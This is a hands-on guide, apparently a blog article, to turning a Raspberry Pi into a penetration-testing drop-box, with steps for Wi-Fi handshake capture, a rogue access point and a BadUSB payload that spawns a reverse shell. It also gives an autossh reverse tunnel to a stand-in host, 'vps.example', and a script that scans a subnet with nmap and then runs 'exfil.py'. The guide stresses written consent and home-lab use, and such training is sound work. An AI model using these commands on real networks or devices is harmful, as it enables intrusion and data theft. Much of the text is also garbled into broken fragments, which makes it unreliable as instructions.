A Raspberry Pi can host Kali Linux, capture Wi-Fi traffic, emulate BadUSB devices, or act as a stealth “pentest drop-box.” Success hinges on scoped, permission-based tests and diligent log-keeping. This guide walks you through legal prep, setup, and six hands-on attack simulations you can practice in a home lab.
Ethical hacking is lawful only with explicit consent; South Africa’s Cybercrimes Act treats un-authorised access as a felony . Always draft a written scope, identify data-at-rest boundaries, and agree on a remediation path before testing.
ssh
and wifi
in an ssh
file and wpa_supplicant.conf
on the boot partition.sudo apt update && sudo apt full-upgrade
.Many attacks need monitor-mode Wi-Fi. Popular adapters include Alfa AWUS036NHA for 2.4 GHz sniffing .
sudo airmon-ng start wlan1
.sudo airodump-ng wlan1mon --write corp
.eapol
frames for WPA2 handshakes.This technique lets you benchmark signal coverage and verify rogue clients without transmitting packets .
hostapd
and dnsmasq
.iptables-persistent
so rules survive reboot .NOTE — do this only on an isolated lab network or Faraday-shielded room.
P4wnP1 turns a Pi Zero into a programmable USB HID, ethernet-over-USB, and Wi-Fi C2 bridge .
Flash its custom image, edit payload.txt
, then plug into a locked workstation to spawn a reverse shell.
Test demonstrates the value of “USB Restricted Mode” and physical port locks in corporate fleets.
autossh -M 0 -N -o "ServerAliveInterval 30" \
-R 2222:localhost:22 tester@vps.example
ssh -p2222 tester@vps.example
.Artifice Security’s guide lays out wiring diagrams and OpenVPN hardening .
#!/bin/bash
LOG=/var/log/loot.log
nmap -sV 10.0.0.0/24 -oX /tmp/map.xml && echo "$(date) map done" >> $LOG
python3 exfil.py /tmp/map.xml
Connect Pi GPIO UART to the target’s debug headers; brute-baud with fUART
or auto-bauds
to locate console pins.
Useful for IoT devices lacking signed firmware updates .
Use i2c-gpio-custom
overlay to emulate malicious sensors that feed tampered readings to industrial controllers—highlighting the need for CRC and authentication on field buses.
ufw
, disable SSH password auth, install fail2ban
.